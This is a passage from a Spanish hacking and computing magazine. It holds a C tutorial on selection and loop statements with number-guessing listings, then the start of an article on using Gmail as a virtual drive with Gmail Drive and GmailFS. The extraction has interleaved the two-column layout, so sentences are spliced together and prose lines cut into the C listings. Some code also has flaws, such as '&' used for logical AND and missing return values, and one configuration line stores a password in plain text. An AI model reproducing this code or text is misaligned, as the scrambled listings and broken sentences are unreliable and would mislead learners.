Y por supuesto... no hace falta debugger, aunque sea un método de ensayo-error,

Atención al Cliente
Teléfono de Atención al Cliente:
977 22 45 80
Persona de Contacto:
Srta. Genoveva
Petición de números atrasados y suscripciones

FAX: 977 24 84 12
Servicio Ofrecido de Lunes a Viernes
De 10:00 A 13:00

52
Bienvenido una vez más a este curso, que espero que esté siendo de vuestro agrado y que
os ayude a aprender, pues para eso está. Hasta ahora, con lo que sabemos, los programas
que podemos hacer son lineales y su flujo (camino desde que empiezan hasta que terminan)
es totalmente predecible. En esta entrega, vamos a ser un pelín menos deterministas y a
ejercer un mayor control sobre los programas que hagamos.

Sin más dilación, pasemos a ver de qué va todo esto.

junto a switch, label junto a goto)


Expresión (Expresiones válidas en C simplemente)
Imaginad que tenéis que ir de un sitio a otro en una Bloque (Bloque de código, como ya se vio en la
carretera que es todo el rato recta. Al principio, la cosa primera entrega)
estará divertida: le pisaríamos al coche (siempre hasta el
límite legal, que aquí no se incita a hacer absolutamente
nada ilegal :P) y sentiríamos la sensación de velocidad.
Pero al cabo del rato, nos aburriríamos. Sería más divertido
si pudiéramos cambiar de paisaje, tomar alguna curva...
Bien, en programación los programas pueden discurrir por Vamos a empezar a tratar estos tipos de sentencias, que
carreteras rectas y todo irá como la seda; sin posibilidad nos permitirán tener más control sobre nuestros programas.
de variación. ¿Podemos hacer que la carretera por donde
discurra nuestro código se vuelva sinuosa? No sé ... ¿se La primera de las sentencias que vamos a ver, y que no
puede hacer algo más interesante? es ninguna del Tribunal Supremo (chiste malo, pero hay
que resignarse, no todos van a ser buenos :P), es la
Pues sí, la verdad que sí. Si no, esto de programar sería sentencia if, que traducido al español, es el condicional
tan aburrido como el ejemplo de conducción que ponía si.
antes. Para satisfacer nuestra sed de poder, C pone a
nuestra disposición un rico conjunto de sentencias de Su sintaxis es la siguiente:
control:
if (condición) sentencia;
Selección (Operador condicional ? :, if y switch)
else sentencia;
Iteración (Sentencias while, for y do while)
Salto (Sentencias break, continue, goto – para
Donde:
algunos herética – y return)
condición es cualquier expresión válida que arroje un
Etiquetado (Sentencias case y default, que se verán
valor de tipo entero, carácter o de coma flotante (este

53
último se puede evitar en todo lo posible, quiero decir realmente con esto
ya que hace que los programas sean (imagen 1).
lentos – a la CPU le lleva varios ciclos
de reloj operar con números en coma Podemos ver cómo se ramifica el código
flotante). En C, un valor igual a cero con este tipo de sentencias de decisión.
será tomado como falso. Cualquier otro Una cosa que hay que resaltar. Cada if
(positivo o negativo) verdadero. anidado puede llevar, lógicamente su
else (en la imagen anterior he puesto Imagen 2
sentencia es una orden o conjunto de a cada if con un else anidado, aunque El uso de este tipo de gráficos, aparte
órdenes/ins-trucciones (sentencia el else es opcional). Y hay que tener de para tener más claro qué se trata de
compuesta) a realizar en caso de que mucho cuidado con los bloques, ya que
la condición que se cumple sea nuestras amigas las llaves ({ y }) hacer, es bueno cuando se diseñen
verdadera (con if) o en cualquier otro “aíslan” lo que hay entre ellas del resto algoritmos y se esté estudiando la
caso (else). del código, como ya se vio en la entrega complejidad de los mismos. Si la opción
anterior. Esto lo digo porque puede que más probable de todas está en niveles
Este tipo de sentencias establece una pongamos un else que queramos que profundos de nuestro anidamiento, pues
bifurcación de caminos en nuestro corresponda con un if determinado, y obviamente se hará más lento el
código. Ya podemos conducir hacia un si no tenemos cuidado con las llaves, programa.
sitio o a otro, dependiendo de un criterio podemos llevarnos alguna que otra Existe una forma en C de realizar
–la condición– que establezcamos. sorpresa en la ejecución del código. Esta sentencias de selección es mediante el
circunstancia se agrava aún más cuando operador ternario ?, que tiene la
Y esto, señoras y señores, se puede tenemos que poner llaves para senten- siguiente pinta:
complicar más, en el sentido de que cias compuestas que queramos que se
podemos establecer niveles de ejecuten con el if. Todo un verdadero Expresión 1 ? Expresión 2 : Expresión 3

anidamiento para los if, del siguiente l a b e r i n t o. Pe r o e s t o h a r á q u e l a


modo: conducción sea más agradable, ¿no? :P. En este caso, podemos utilizar senten-
cias cualesquiera de C (asignación,
if (condición 1) El nivel de profundidad de nuestro comparación ...). Funciona del siguiente
{
anidamiento (es decir, cuántos if modo. Se evalúa expresión 1: si el resul-
if (condición 2) sentencia 1;
else sentencia 2; anidados podemos poner) depende del tado es verdadero, se ejecuta la expre-
{ compilador. El estándar ANSI garantiza sión 2, en caso contrario, la expresión
....
} un mínimo de 15 niveles. 3. Fácil y sencillo, ¿verdad?. La diferencia
} con la sentencia if–else (que es a la que
else sentencia 3;
Una construcción un poquito más “sustituye”) es en que se pueden usar
racional de estos anidamientos, la con este operador ternario cualquier
El modo en el que funciona este tipo de
constituye la “escalera” if–else–if, tipo de sentencia, mientras que con
sentencia es muy parecido al primero.
aunque la forma de trabajar con ella es if–else, estamos limitados a condiciones
En este caso, observad que la sentencia
ligeramente inferior a la anterior. Su de comparación.
del if (condición) que vimos anterior-
sintaxis es:
mente, es una sentencia compuesta en
Y esto termina las sentencias de
este caso por más if, lo cual es if (condición 1) sentencia 1;
selección. Para regocijo vuestro y de
perfectamente válido en C. Este tipo de else
if (condición 2) expresión 2; vuestros compiladores, vamos a ver un
if anidados daría una imagen de ramales else
pequeño programa, donde vamos a
por donde puede discurrir el tráfico de .
. jugar con el ordenador al famoso juego
nuestras aplicaciones. En la siguiente
. de adivinar números. Es el típico ejemplo
imagen se puede ver más claro qué
que aparece cuando se ven sentencias
Como vemos, en este caso, construimos
de selección, y lo usaremos en esta en-
la rama por la parte del else, en vez de
trega para ver/estudiar los distintos tipos
por la parte del if, que es la diferencia
de sentencias de control que C nos
con el caso anterior de if anidados. Esto
brinda, con sus virtudes y defectos :P.
da, de alguna manera, una imagen de
“complementariedad” de este tipo de
Aquí tenemos un ejemplo de
anidamiento y el anterior. En la siguiente
código:(listado 1)
imagen puede verse de forma visual lo
Imagen 1 que trato de decir. (imagen 2).

54
Compilad y ejecutad el programa. Os
/* Programa que ilustra varias sentencias de selección en C */ animo a que juguéis un poquito con él.
// Importación de librerías En principio, una vez que adivinéis el
#include <stdio.h> número, éste será el mismo de ejecución
#include <stdlib.h>
a ejecución del programa. Incluso si
// Declaración de funciones recompiláis varias veces saldrá el mismo
int cuadrado_numero(int);
número. Con lo cual lo de aleatorio es
int main() más bien algo ficticio.
{
// Variables
char nivel_dificultad; A la función rand() se le ha añadido la
int numero_misterioso = 0; operación módulo (%). Esto lo hago
int intento = 0;
porque si no, el programa tendría un
// Usamos la función rand() para elegir un número aleatorio fallo de bulto: los números se saldrían
numero_misterioso = rand();
de rango si queremos que el programa
// El programa nos pide seleccionar un nivel de dificultad nos lo ponga difícil, ya que eleva el
printf("\n\t¿Deseas que te lo ponga (f)ácil o (d)ifícil?");
número al cuadrado y sería negativo.
scanf("%c", &nivel_dificultad);
Probad a quitarle el % 101 y veréis
// Una vez leído lo que el usuario ha introducido ejecutamos el programa cómo esto que digo es cierto, ya que
if (nivel_dificultad == 'f')
{ RAND_MAX es un entero muy grande
printf("\n\nIntroduce un número por teclado: "); (su valor está cercano a los dos mil
scanf("%d", &intento);
intento == numero_misterioso ? millones).
printf("\n\tEnhorabuena, has acertado") :
printf("\n\tLo siento, más suerte para la próxima");
}
Para generar un poco de aleatoriedad
else hay que usar otra función distinta. Es
if (nivel_dificultad == 'd')
srand() dicha función. Podéis tener más
{
numero_misterioso = cuadrado_numero(numero_misterioso); ayuda en http://www.geocities.com/
printf("\n\nIntroduce un número por teclado: "); chuidiang/funciones/rand.htm (si queréis
scanf("%d", &intento);
intento == numero_misterioso ? usar getpid() como generador de
printf("\n\tEnhorabuena, has acertado\n") : semillas, no se os olvide importar la
printf("\n\tLo siento, más suerte para la próxima\n");
} librería unistd.h, en caso de querer usar
la hora time.h es vuestra librería).
else
printf("\n\tNivel no reconocido. Introduce f o d");
También podéis usar el google y buscar
} rand(). En las páginas clásicas como
http://www.forosdelweb.com/ y
// Definición de la función cuadrado_numero
http://c.conclase.net también tenéis
int cuadrado_numero(int numero) información para aburrir.
{
int resultado;
resultado = numero > 0 ? numero*numero : -(numero*numero); Si queréis saber más sobre números
return resultado;
aleatorios (un tema computacionalmente
}
fascinante) podéis ver la página man
de rand o srand. Aparte os recomiendo
Listado 1
el libro “Numerical Recipes in XXX”
Bien, como podemos ver, aquí tenemos variable que le indiquemos. El primer donde XXX no es lo que os pensáis
ejemplos de los anteriores esquemas argumento que se le ha pasado en este (malpensaos :P), sino que puede ser C,
de selección. Aquí vemos que hemos caso, es una cadena de formato, que Java, Fortran... El recomendable en este
introducido dos nuevas funciones: rand() indica qué tipo de dato cabe esperar caso es “Numerical Recipes in C”
obviamente. También viene en la página
y scanf(). La primera, incluida en
que el usuario introduzca. El segundo man esta recomendación.
stdlib.h, nos permite generar números
argumento es la variable (en realidad,
aleatorios, entre 0 y RAND_MAX que es
un puntero a la dirección de memoria Una última forma de realizar sentencias
una constante la cual define un número
de la variable) donde se almacena el de selección en C es mediante el uso
entero muy grande.
valor introducido por el usuario. Esto lo de switch. Su uso/sintaxis es el

La función scanf() nos permite pedir veremos más adelante cuando hablemos siguiente:

datos al usuario y almacenarlos en la de punteros.

55
un caso bajo la misma secuencia de que se cumpla una cierta condición,
switch (expresión) {
sentencias, para no repetir. como prefiráis. Esta condición puede
case constante1:
secuencia de sentencias; estar predefinida de antemano, como
break;
Vo l v e r e m o s sobre este tipo de en el caso de los bucles for o no; como
case constante2:
secuencia de sentencias; construcciones más adelante en el curso. en el caso de los bucles while y do–while.
break; Suelen venir bien cuando tenemos que
case constante3:
secuencia de sentencias; hacer un menú con varias opciones. De
break; esta forma, queda todo más claro y
.
. menos difuso que si usáramos cualquier
. otra construcción con if. ¿Os gustan los loopings en las
default:
carreteras? ¿La sensación de estar
secuencia de sentencias;
} Las sentencias switch tienen además cabeza abajo? Bueno, pues en C
otro tipo de limitaciones: podemos estar dando vueltas y vueltas
Esta forma de realizar estructuras de al mismo código una serie de veces,
selección se puede ver que se parece 1 . S ó l o p u e d e n u s a r s e p a ra que no vienen predefinidas de antemano
mucho a los if else con múltiples comprobar igualdad, if podría con las dos construcciones que vienen
ramificaciones. En este caso, se da una además con expresiones en el epígrafe.
expresión que va a servir para compa- relacionales y lógicas.
rarla con constantes. Cuando coincide La construcción de ambas, es muy
con alguna, se evalúa la secuencia de 2. Es incorrecto darle a dos case similar y las pongo juntas, ya que así
sentencias que hay entre el case y el d i s t i n t o s e l m i s m o va l o r d e podemos ver en qué se parecen y en
break correspondientes. En caso de que constante. Se pueden anidar qué se diferencian:
no coincida con ninguna, se ejecuta lo sentencias switch, en cuyo caso,
while (condición) sentencia;
que venga tras la etiqueta default (una sí que es correcto que tengan el
do sentencia while (condición);
etiqueta es toda expresión que va termi- mismo valor dos case distintos.
nada con dos puntos, en vez de con Y ahora la explicación para cada uno.
punto y coma). Esta etiqueta es opcional 3. Las constantes tipo carácter son En el primer caso, se evalúa la condición
y las sentencias que van con esta y con convertidas a su equivalente entero y, mientras sea cierta (de ahí el while)
case llaman “sentencias de etiqueta”. correspondiente, según la tabla se itera sobre sentencia, una y otra vez.
Anda que se quiebran con los nombres ASCII.
:P. Nota
4. No es posible declarar variables
Hay que tener cuidado con dónde se y/o funciones dentro de sentencias En todos los casos para las sintaxis de senten­
cias que estoy poniendo, tened en cuenta que
ponen los break. Cuando se encuentra case en bloques switch, ya que no
sentencia hace referencia tanto a una simple
una coincidencia se ejecuta desde es posible declarar variables locales instrucción, como a un bloque de código, que
secuencia de instrucciones hasta el dentro de secuencia de sentencias. deberá ir encerrado entre llaves.

primer break del que se tenga noticia Para ello, deberíamos abrir un
o el final de la sentencia switch. Si se bloque de código con las llaves, Para el segundo caso, se ejecuta
nos olvida en algún caso un break, si después del case y ahí meter la sentencia y luego se comprueba si la
se empieza a cumplir la condición en la variable y el resto del bloque de condición es verdadera para seguir
etiqueta case del “despiste” pues código.. En cambio, sí que pueden iterando.
también se ejecutará la siguiente declararse al principio del bloque,
secuencia de instrucciones hasta un justo antes de la primera sentencia A simple vista, diríais que son iguales,
break o final de switch, como ya se ha case (para el caso de variables). pero hay una diferencia fundamental:
mencionado anteriormente. el momento en el cual se evalúa la
Con esto, hemos visto las principales condición. Para el caso del while a secas,
Esto que puede parecer un “fallo” de C, sentencias de selección en C, pasemos se realiza al principio, con lo que puede
no lo es en realidad, ya que permite a carreteras más excitantes ... que no se ejecute nunca la sentencia
generar código eficiente, al no tener dentro del código. Para el segundo, se
que repetir fragmentos de código. comprueba una vez que se ha ejecutado
la sentencia. Es decir, para el do ...
Esto puede hacerse por despiste como while, tenemos que siempre nos
ya he dicho, o por conveniencia, porque Hemos llegado a los ansiados bucles. O metemos en el bucle. Para el caso del
puede que se necesite agrupar más de la repetición de trozos de código hasta while, puede que nunca nos metamos.

56
Y esto es así de sencillo. Dependiendo
/* Programa de adivinar un número que genere el ordenador aleatoriamente */ de lo que nos interese y de las exigencias
// Importaciones de librerías
del guión :P, puede que nos interese
#include <stdio.h> meternos una vez en el bucle o puede
#include <stdlib.h> que no. C da la flexibilidad necesaria
#include <time.h> para que esto ocurra.
// Declaración de funciones que vamos a necesitar

void menu (void); // Presenta un menú inicial en pantalla Quizás, la expresión más general de las
int genera_aleatorio(void); // Genera el número aleatorio dos sea la primera, ya que podemos
int pedir_numero(void); // Pide el número al usuario
int comprobar_numero(int, int); // Comprueba el número introducido
transformar un bucle while en un do ...
while, sin más que asegurarnos antes
// Declaramos una variable global de llegar al bucle de que la condición
int intento = 0;
va a ser cierta y por tanto, se va a
int main() ejecutar.
{
// Variables necesarias
Para no desechar lo que hemos ido
int numero_aleatorio = 0;
int acierto = 0; haciendo en esta entrega, vamos a
int acertado = 0; // Variable para saber si hemos acertado retocar nuestro programa para que ahora
char opcion;
se puedan realizar varios intentos.
// Generamos el número aleatorio Vamos a iterar hasta que encontremos
numero_aleatorio = genera_aleatorio(); el número. Sólo son 100 intentos como
mucho, así que no nos preocupemos :P.
// Presentamos el menú y leemos la entrada por teclado del usuario
menu(); Pero vamos a completar el programa.
opcion = getchar(); En cada intento fallido, al menos el
ordenador nos dará información de si
// Bucle del programa do ... while
while (acertado == 0 & (opcion != 's' & opcion != 'S')) es mayor o menor y nos dará la
{ posibilidad de salirnos del programa
pedir_numero();
introduciendo un número negativo.
acierto = comprobar_numero(intento,numero_aleatorio);

// Dependiendo de acierto se muestra un mensaje u otro Además, vamos a ver un menú sencillo,
switch (acierto)
de inicio de programa. Esto ya se va
{
case 0: complicando, en el sentido de que
printf("Enhorabuena, has acertado\n"); metemos muchos más elementos aquí
acertado = 1; que en los programas anteriores. Esto
break;
case 1: ya se va pareciendo a un programa
printf("El número buscado es menor que el introducido.\n"); serio, como empezaremos seguramente
printf("¿Qué desea hacer ahora?\n");
a partir de la siguiente entrega. Pero no
menu();
do quiero desvelar sorpresas todavía.
{
opcion = getchar();
De momento, centrémonos en este
} while (opcion != 's' & opcion != 'p');
break; nuevo programa.
case -1:
printf("El número buscado es mayor que el introducido.\n");
El listado con el programa lo podéis ver
printf("¿Qué desea hacer ahora?\n");
menu();
a continuación (listado 2).
do
{ Bien, el código es bastante sencillo, a
opcion = getchar();
} while (opcion != 's' & opcion != 'p');
pesar de las funciones y bucles que
break; tiene. Como veis, aún se puede refinar
default: aún más este programita, añadiendo
break;
funciones (una con el switch, por
}
} ejemplo). Las variaciones las dejo a
} vuestra elección y criterio. Un añadido
podría ser el incorporar una variable
Listado 2 - continúa en la página siguiente
que lo que haga sea contar el número

57
inicializamos la o las variable(s) al inicio
del bucle. En condición hay que poner
void menu (void)
la condición de salida del bucle, de modo
{
// Presentamos el menú en pantalla análogo a como se hacía con los bucles
printf("\n\nElija una de las siguientes opciones.\n"); while. E incremento es cómo se va(n)
printf("1. - Probar suerte. (p)\n"); a incrementar la(s) variable(s) de control
printf("2. - Salir (s)\n");
}
en cada iteración de bucle.

int genera_aleatorio() Para que lo veáis más claro, os pongo


{
un bucle while equivalente a esta forma
srand(time(NULL));
return rand() % 101; del bucle for:
}
incialización;
int pedir_numero() while (condición)
{ { secuencia de sentencias;
printf("Introduzca un número por teclado (entre 0 y 100): "); incremento; }
scanf("%i",&intento);
printf("\n"); Fijaos que el bucle for nos permite
}
inicializar más de una variable de control
int comprobar_numero(int numero1, int numero2) de bucle, encadenadas mediante comas
{ (,). Un ejemplo de esto lo podemos ver
// Devuelve cero si los dos números son iguales
en el siguiente programa que nos
// un uno si numero1 es mayor que numero2
// y un -1 si numero2 es mayor que numero1 imprimirá dos números en pantalla,
mientras que uno de ellos sea menor
if (numero1 == numero2)
que diez:
return 0;
else
/* Programa que ilustra el uso del bucle for
if (numero1 > numero2)
*/
return 1;
#include <stdio.h>
else int main()
return -1; {
} int i;
int j;
Listado 2 continuación
for (i=1,j=1; i<10; i++,j=i+1)
{
de veces que se ha intentado adivinar
printf("El valor de i es: %i\n",i);
y al final, cuando se acierte o no se printf("El valor de j es: %i\n",j);
acierte se muestre el número de intentos Pues puede que parezca pretencioso, }

efectuados. pero realmente, el bucle for es la joya return 0;


de la corona en los bucles. Muchos que }

Para el tema de generación de números hayáis estudiado bucles en otros


aleatorios, os he dejado enlaces y libros lenguajes de programación, si no Como puede verse, es fácil el uso de
en los que mirar, por si queréis ampliar. varias variables en los “campos” de for.
conocéis el for de C, pegad bien los ojos Además, aprovecho para incluir la
De momento, su interés para nosotros a estas páginas, porque es realmente función main devolviendo un entero,
es en este tipo de programas para merecedor de todas las joyas de la que es el cero. Este valor, el cero, es
realizar juegos. Pero pueden dar mucho corona que queramos plantarle. considerado como que ha sido un éxito
juego. Ya los iremos descubriendo, la ejecución del programa. Volveremos
porque son un mundo fascinante. Y ya, sin más dilación, pasemos a sobre esto más adelante, de momento
descubrir sus entresijos. En su forma quedaos con que es un uso, digámoslo
¡Ah! Se me olvidaba, la función más general, tenemos que es: así, frecuente el devolver un cero si el
pedir_numero podría haberse codificado programa se ha ejecutado de forma
de otra forma. Hay, digamos, un fallito for (inicialización; condición; incremento) satisfactoria.
{secuencia_de_sentencias}
pequeño en su codificación, que no va
a hacer que el programa no se ejecute, Vamos a seguir adornando a nuestro
Bien, explicando que es gerundio :P: El
pero que para los puristas puede que bucle for. Ya que si no, alguno me dirá
primer campo de for es una sentencia
resulte horrendo a la vista... que me invento halagos para este bucle
d e i n i c i a l i z a c i ó n , e s d e c i r, a q u í
:P. La verdadera potencia de este bucle

58
con la miel en los labios, vamos a ver
/* Programa con variantes del bucle for */
si podemos codificar el mismo programa
#include <stdio.h>
#include <stdlib.h> que averiguaba números con el bucle
#include <time.h> for. Mediante lo que os he dicho antes,
void menu(void); podemos arreglarnos para que el bucle
int pedir_numero(void); for sea un bucle infinito(listado 3).
int genera_aleatorio(void);
int comprobar_numero(int,int);
C o m o p o d é i s ve r, e s t e p r o g ra m a
int intento = 0;
funciona, aunque es muy pobre. No nos
int main() dice si vamos bien o mal encaminados
{
y además no nos deja “aburrirnos” de
int numero_aleatorio = 0;
int acierto = 10; intentar averiguar el número, ya que
int acertado = 0; presenta una sola vez el menú. Las
char opcion;
modificaciones no son excesivamente
numero_aleatorio = genera_aleatorio(); difíciles, así que, pequeños padawan,
for (menu(),opcion = getchar(); acierto == 0 | opcion != 's'; pedir_numero()) os dejo como ejercicio que le incluyáis
{ las modificaciones que creáis
acierto = comprobar_numero(intento,numero_aleatorio);
}
convenientes. La solución es simple y
no voy a darla en próximos números,
return 0;
aunque sí, en nuestro foro:
}
http://www.hackxcrack.com/phpBB2/i
void menu (void) ndex.php. Os invito a entrar y compartir
{
// Presentamos el menú en pantalla vuestras soluciones, expresar
printf("\n\nElija una de las siguientes opciones.\n"); inquietudes, lo que queráis. Os recuerdo
printf("1. - Probar suerte. (p)\n");
printf("2. - Salir (s)\n"); q u e t o d o s , i n c l u i d o y o, e s t a m o s
} aprendiendo y que seguro que le

int genera_aleatorio()
sacamos mucho jugo al bucle for entre
{ todos ;-).
srand(time(NULL));
return rand() % 101;
} El programa como veis inicializa pidiendo
una opción y presentando el menú,
int pedir_numero()
{ comprueba que ni hemos introducido el
printf("Introduzca un número por teclado (entre 0 y 100): "); carácter correspondiente a salir, ni
scanf("%i",&intento);
printf("\n"); hemos averiguado el número, nos pide
} el número (la actualización se da justo

int comprobar_numero(int numero1, int numero2)


antes de entrar en el bucle for lo que
{ pasa es que en los convencionales esto
// Devuelve cero si los dos números son iguales
es “transparente” al usuario).
// un uno si numero1 es mayor que numero2
// y un -1 si numero2 es mayor que numero1
Si se cumplen las condiciones para que
if (numero1 == numero2)
return 0; se entre en el for, pues se comprueba
else que el número introducido por teclado
if (numero1 > numero2)
return 1; y el generado aleatoriamente sean
else iguales, o uno mayor que otro vía
return -1;
}
función comprobar_numero (recordad
el anterior programa). De aquí se vuelve
Listado 3 a entrar, esta vez sin pedir si queremos
estriba en que cualquiera de los campos y que además, ésta debe ser válida en seguir probando suerte o salir
del mismo, puede ser una expresión un número de intentos que definamos (suponemos que queremos seguir
válida en C, incluso funciones... Sí, de antemano. probando suerte). Además no nos da el
habéis leído bien. Y no, no estoy programa ninguna información de cómo
borracho :P. Un ejemplo de la utilidad Este programa requerirá ver arrays, así estamos yendo en nuestro proceso de
de este tipo de cosas puede ser un que lo dejaremos para sucesivas entre- búsqueda. Pero bueno, seguro que lo
programa que pida una clave al usuario gas :P. Y para que no digáis que os dejo mejoráis ;-).

59
uso. Además, estamos obligados a seguir Aquí en código_devuelto podemos
unas ciertas reglas para operar con él: devolver un cero al sistema operativo,
para indicar ejecución normal del
Primero, debemos de usarlo de programa; o bien cualquier otro valor
Que nadie se asuste que no vamos a la forma: para indicar que hemos tenido alguna
programar un ajedrez en C. Al menos, anomalía durante la ejecución del
no de momento :P. Vamos a terminar goto etiqueta; mismo.
.
este capítulo comentando las secuencias .
de salto que tenemos en C. Quizás este etiqueta: Y como todo en esta vida (o casi todo)
{secuencia_de_sentencias}
epígrafe sea tildado de herejía por algún tiene su contrario, break tiene un
purista de la programación. Que me antagónico (aunque no es un antagónico
Donde etiqueta es un identificador
perdone. Mi deber es exponer qué nos puro, ya que no hace solamente lo
válido de C seguido de dos puntos
ofrece C. Luego que cada cual haga lo contrario): continue, que hace que no
(:).
que crea conveniente, sea o no buena se ejecute lo que sigue a partir de él
práctica de la programación. hasta el final del bucle, pero no salta
Después, no podemos usarlo
fuera de él. Lo que hace es volver a
para salirnos de una función. Es
ejecutar las partes de las pruebas
decir, la etiqueta debe estar en la
condicionales y de incremento de bucle
misma función que el goto.
en bucles for y en while y do–while a la
Bien, esta sentencia ya ha sido vista prueba condicional.
Y no hay mucho más que decir del goto.
con anterioridad. Y sí, es una sentencia
Os animo a que intentéis emular bucles
de salto, ya que lo que hace es “volver” Es útil combinado con alguna expresión
while y for con el goto. Como siempre,
de la función al punto donde se llamó condicional dentro del bucle para
el foro os espera ;-).
la función. Se salta a dicho punto. Y lo discernir si ejecutamos hasta el final
bueno de C es que no pone límites a del bucle o reiniciamos el bucle.
nuestra imaginación. Podemos usar en
las funciones tantos return como De todos estos no pongo ejemplos de
Bien, para salir de bucles sin necesidad
queramos. Ahora bien, en cuanto se código. Os dejo para que probéis si
de que se cumpla la condición que
encuentre la función con el primero se podemos usarlos en nuestro programita
hemos predispuesto a tal efecto,
salta y el resto se ignoran. de averiguar números con bucle for, a
tenemos break. Como hemos visto, se
ver si podemos mejorarlo y que sea más
puede utilizar también en los case, para
Cuando no acompañamos de un valor completo y nos anime a jugar.
que salga sin necesidad de seguir
a return, el compilador asume un valor
evaluando los case subsiguientes. Es
por defecto para devolver. Esto mismo Y esto ha sido todo por esta entrega.
decir, es una salida incondicional (sin
ocurre en una función cuando no usamos Espero que os guste y que os anime a
condiciones, qué locuacidad la mía :P)
return. La llave de cierre hace de return aprender este apasionante lenguaje que
de bucles y en este caso, además, de
sin valor. Como veis, todo al final tiene es el C.
los case.
sentido y vemos por qué si no podemos
un return en una función, aparente- Habréis visto que no he dado ejemplos
Se puede utilizar para dar un control
mente, no pasa nada. de compilación y/o ejecución esta vez.
extra sobre salida en bucles y puede
Esto es para que tanto los que usáis
interesarnos en ciertos casos. Como
Linux como Windows podáis seguir mejor
siempre, a gusto del programador. C
los ejemplos, os animéis a probarlos
p o n e l a s h e r ra m i e n t a s , n o s o t r o s
(que no son tan largos) y así podáis
debemos saber si las queremos o no
Bien, llega la controversia. C nos brinda exponer las dudas en el foro sobre
utilizar. O si nos conviene utilizarlas...
la opción de una variedad rica de compiladores, formas de compilación,
Existe un break más “contundente”: la
sentencias y control sobre el flujo del etcétera.
función exit(). Esta función lo que hace
programa que tenemos. Y por eso
es terminar con el programa, devol-
incluye al amado–odiado goto. La causa Y ya me despido de vosotros. No sin
viendo el control al sistema operativo.
de su odio y a la vez de su amor, es daros las gracias por leerme hasta aquí
Un pelín radical, sí, pero puede ser útil
que se u til izab a t a n t o qu e h a cía e invitándonos a vernos en el foro para
en ciertos momentos. Su forma general,
programas ilegibles. Y se usaba tanto intercambiar ideas, dudas, críticas e
ya que es una función es:
porque era fácil de usar. Sin embargo, inquietudes que tengamos.
en C no es estrictamente necesario su
void exit(int código_devuelvo);

60
Con este artículo inauguramos un nuevo apartado en la revista. Bienvenidos a la nueva sección
de Pc Paso a Paso: La Cafetería. Aquí encontraréis todo tipo de artículos, desde FAQs(Frequently
Asked Questions) o manuales, hasta entrevistas con 'celebridades' de la informática, pasando
por artículos de opinión, noticias relevantes e incluso una tira cómica, que los informáticos
también tenemos sentido del humor :D
Llamadlo un área de Off Topics, Artículos varios o Temática General, pero el fin es el mismo:
entreteneros, informaros y haceros la lectura de esta revista más divertida(aún), ya que no
solo de cursos vive el hombre :). Esperamos poder cumplir con nuestro deseo.... Poneos
Cómodos, estáis en la Cafetería!

tando, ¿que hace tan especial a Gmail? Pues que como


su hermano mayor(el buscador :P) tiene diversas
El objetivo de este pequeño tutorial es enseñarte a explotar características especiales, entre las que se encuentra la
al máximo todas las posibilidades que nos brinda el más aclamada: espacio web de más de 2 GB (y subiendo
conjunto Google-Gmail, ambos de la conocida compañía mientras lees estas líneas). Esto permite que puedas
Google. Quizá pienses que sabes encontrar cualquier cosa guardar todos los mensajes sin preocuparte de que te
en Google, pero igual no sabes que Google puede ser estalle la cuenta :).
usado como calculadora, puede convertir distintas unidades
de cálculo, puede mandarte un email con los resultados, Veamos algunas de las otras características de Gmail:
e incluso puedes seguir la trayectoria de tu pedido en
FedEX/UPS o ver la localización actual de un vuelo.

A continuación voy a explicar como utilizar tu cuenta en


Gmail como disco duro virtual, para almacenar todo lo
Gmail es un servicio de correo electrónico que actualmente que quieras, en GNU/Linux( indiferentemente de la
esta en fase beta, es decir, en pruebas. Esto solo quiere distribucion) y Windows Xp.
decir que no les apetece ponerlo disponible al mundo
hasta que sea perfecto, ya que es lo que la gente esperaría -Windows
de Google. Lo que quiero enfatizar es que el sistema esta
totalmente operativo, y funciona a la perfección. Lo primero que debemos hacer es bajarnos el programa
de cualquiera de estos sitios:
La única forma de obtener una cuenta Gmail es mediante
una invitación, si quieres una puedes pedirla en el foro http://www.softpedia.com/progDownload/Gmail-Drive-
en el siguiente hilo --> http://www.hackxcrack.com shell-extension-Download-15944.html
/phpBB2/viewtopic.php?t=17929. Y te estarás pregun- http://fileforum.betanews.com/detail/Gmail_Drive/1097

61
807577/1/ -Librería libGmail de http://sourcefor Ahora repetimos con libGmail
http://www.techspot.com/download29 ge.net/project/showfiles.php?group_i
7.html d=113492 # tar xvfz libGmail-0.0.8.tgz
-GmailFs de http://richard.jones.name # cd libGmail-0.0.8
Una vez haya terminado la descarga, lo /Google-hacks/Gmail-filesystem # cp constants.py libGmail.py
abrimos(doble click) y lo extrae- /Gmailfs-0.3.tar.gz /usr/local/lib/python2.4/site-packages
mos(acciones-->Extraer) a C:\Gmail.
Ahora nos vamos a la carpeta e iniciamos Bueno, ya lo tenemos todo ¿no? Tened Como ves hemos tenido que copiar esos
el setup.exe en cuenta que es bastante probable que dos archivos a un lugar accesible para
tengáis Python, comprobadlo para python. Y ahora por último Gmailfs:
Nos saldrá el Readme, que ,si no sabes ahorraros un poco de tiempo. También
ingles, te servirá de poco. Ciérralo para debéis tener en cuenta que lo estoy # tar xvfz Gmailfs-0.3.tar.gz
proceder con la instalación. Ahora solo explicando independiente de la distri- # cd Gmailfs-0.3
tienes que ir a "Mi Pc" y veras que tienes bución, por lo que en vuestra distribución # cp Gmailfs.py /usr/local/bin
un nuevo disco duro llamado "Gmail es muy posible que os podáis descargar # cp mount.Gmailfs /sbin/
Drive". Haz doble click en él y te pedirá paquetes como Python con un simple # mkdir /mnt/Gmail
tu nombre de usuario y contraseña. Los apt-get install python.
pones y si quieres que cada vez que se Bien, ahora debemos añadir una entrada
inicie el ordenador se conecte a Gmail, Desde ahora asumo que los archivos a /etc/fstab que sea algo como esto:
dale a "autologin", aunque no lo descargados están en /tmp/Gmailfs y /usr/local/bin/Gmailfs.py /mnt/Gmail
recomiendo. que estamos logueados como "root" en Gmailfs noauto,username=usuario,
una consola para hacer todo esto. password=contraseña
Bien, ya tienes tu nuevo disco duro fsname=WaDALbeRTo
virtual, puedes almacenar ahí lo que Lo primero que debemos hacer es
quieras, y luego lo puedes sacar en instalar Python. Donde "usuario" es nuestro nombre de
cualquier ordenador que tenga también usuario y "contraseña" nuestra contra-
instalado GmailDrive. # tar xvfz Python-2.4.1.tgz seña de Gmail. "fsname" es un nombre
# cd Python-2.4.1 para el sistema de archivos, podemos
Ten en cuenta que este es un programa # ./configure --prefix=/usr/local ponerle el que queramos, pero es
que depende de Gmail, por lo que cada # make aconsejable que sea difícil de adivinar
vez que actualicen su sistema ya no # make install --prefix=/usr/local "por si las moscas".
funcionará(se actualizara no muy a
menudo), así que si ves que no te Ya tenemos Python instalado. Ahora le Bueno, ahora solo nos queda ir a /mnt/
